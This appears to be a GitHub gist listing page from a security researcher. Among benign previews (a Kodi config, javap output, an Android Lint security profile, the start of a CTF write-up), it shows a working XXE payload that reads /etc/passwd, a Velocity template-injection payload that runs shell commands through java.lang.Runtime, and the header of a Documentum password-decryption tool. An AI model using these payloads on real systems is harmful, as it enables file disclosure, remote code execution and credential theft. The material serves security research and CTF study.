Skip to content

Instantly share code, notes, and snippets.

@h3xstream
h3xstream / advancedsettings.xml
Last active July 11, 2020 13:58
Kodi/XMBC configuration
<advancedsettings>
<!-- http://kodi.wiki/view/Advancedsettings.xml -->
<!-- Display information overlay for the complete duration of the play in visualisation mode -->
<songinfoduration>999999999999999</songinfoduration>
<advancedsettings>
@h3xstream
h3xstream / solution.md
Last active March 2, 2024 02:15
Thomson DCM475 - Solving flashing LED
@h3xstream
h3xstream / etc-passwd
Last active October 27, 2018 15:00
44con
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<feed>
<title>test</title>
<description>test</description>
@h3xstream
h3xstream / rce.vm
Last active June 6, 2017 03:00
RCE in velocity template when no extension enable
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('ls'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
@h3xstream
h3xstream / liens.md
Last active August 7, 2017 18:05
GoSecure - PFE Analyse statique
@h3xstream
h3xstream / >> output result
Last active September 3, 2015 20:27
Type erasure
> javac *.java
> javap -c StringBuilderProcessor
Compiled from "StringBuilderProcessor.java"
public class StringBuilderProcessor implements GenericProcessor<java.lang.StringBuilder> {
public StringBuilderProcessor();
Code:
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
@h3xstream
h3xstream / Android_Security.xml
Created June 29, 2015 18:07
Security profile for Android Lint (for Security Audit)
<?xml version="1.0" encoding="UTF-8"?>
<inspections version="1.0" is_locked="false">
<option name="myName" value="Android Lint - Security only checks" />
<option name="myLocal" value="false" />
<inspection_tool class="AccessStaticViaInstance" enabled="false" level="WARNING" enabled_by_default="false" />
<inspection_tool class="AndroidDomInspection" enabled="false" level="ERROR" enabled_by_default="false" />
<inspection_tool class="AndroidElementNotAllowed" enabled="false" level="WARNING" enabled_by_default="false" />
<inspection_tool class="AndroidLintAaptCrash" enabled="false" level="ERROR" enabled_by_default="false" />
<inspection_tool class="AndroidLintAccidentalOctal" enabled="false" level="ERROR" enabled_by_default="false" />
<inspection_tool class="AndroidLintAdapterViewChildren" enabled="false" level="WARNING" enabled_by_default="false" />
@h3xstream
h3xstream / RecoverPW.java
Last active March 14, 2021 15:52
Decrypt Documentum database passwords.
/*
* (C) 2012 MSRoth - msroth.wordpress.com
*
* recoverPW v2
*
* This code will decrypt BOF and database passwords. It will *NOT* decrypt
* inline user passwords.
*
* From the D6.5 EMC Documentum Content Server Administration Guide, p. 353:
* "Passwords encrypted with encryptPassword cannot be decrypted explicitly
@h3xstream
h3xstream / web200.md
Last active November 8, 2023 20:48
GoSecure CTF - Web 200 pts writeup

Starting at the URL http://web200.gosec.net:7721, we can see a login page for a dating site.

login

Small oracle

It is possible to identify that the user admin exists because we get two distinct error messages.

Invalid user: